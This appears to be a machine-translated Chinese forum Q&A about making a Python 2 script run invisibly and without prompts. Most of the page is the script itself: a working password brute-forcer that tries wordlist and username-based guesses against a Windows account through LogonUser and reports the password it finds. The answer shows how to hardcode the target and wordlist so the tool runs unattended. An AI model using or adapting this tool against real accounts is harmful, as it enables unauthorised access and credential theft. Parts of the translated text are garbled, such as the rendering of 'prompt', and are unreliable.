如何使用 Python 静默运行批处理文件而不出现提示?

如何使用 Python 静默运行批处理文件而不出现提示?

问题

当我运行我的python脚本时,如下例所示:

c:/python
tool.py

当我运行这个程序时,它要求我手动输入扫描中的用户名,然后要求我手动输入包含所需其他信息的文件名。


问题

我有另一个解决方案另一篇帖子如何以不可见的方式运行该过程,但是运行时仍会提示我输入这些值,我希望它运行时不提示我输入这些值。


Python 脚本

def verify_success(username, password):
    from win32security import LogonUser
    from win32con import LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT
    if password == 'BLANK':
        try:
            password = ""
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            if "blank passwords" in str(e):
                return True
            else:
                return False
    else:
        try:
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            return False


u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

pwds = open(fis,'rU')
passwds = pwds.readlines()

for password in passwds:

    if password.rstrip() == "%user%":
        password = u.rstrip()
    if password.rstrip() == "%user%1":
        password = u.rstrip()+'1'
    if password.rstrip() == "%user%12":
        password = u.rstrip()+'12'
    if password.rstrip() == "%user%123":
        password = u.rstrip()+'123'

    if verify_success(u, password.rstrip()):
        print 'SUCCESS: => USERNAME: '+u+' '+'PASSWORD: '+password.rstrip()
        break
    else:
        print '[+]Trying: '+u+' '+password.rstrip()

答案1

原因

Python 脚本使用raw_input函数,因此它将迅速的将这些变量值设置为何值。

raw_input([提示])

如果存在 prompt 参数,则将其写入标准输出,不带尾随换行符。然后,该函数从输入中读取一行,将其转换为字符串(删除尾随换行符),并返回该字符串。当读取 EOF 时,EOF错误被提出。

来源


修复

要解决此问题,只需将这部分逻辑更改为使用变量而是将值设置为所需的值。

变量

变量是用来保存可能发生变化的值的东西。简单来说,变量就是一个可以存放东西的盒子。你可以使用变量来存储各种东西,但现在我们只讨论如何在变量中存储数字。

lucky = 7 
print (lucky) 
7

来源


解释变更

在你的 Python 脚本中,你需要改变旧逻辑看起来像新逻辑。这将阻止在您以交互方式输入这些值时弹出提示。

您只需要确保将<username><file.txt>值设置为您需要的静态值。一旦您进行这些更改,提示就会停止。

旧逻辑(删除)

u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

新逻辑(包括)

u = "<username>"
fis = "<file.txt>"

更多资源

相关内容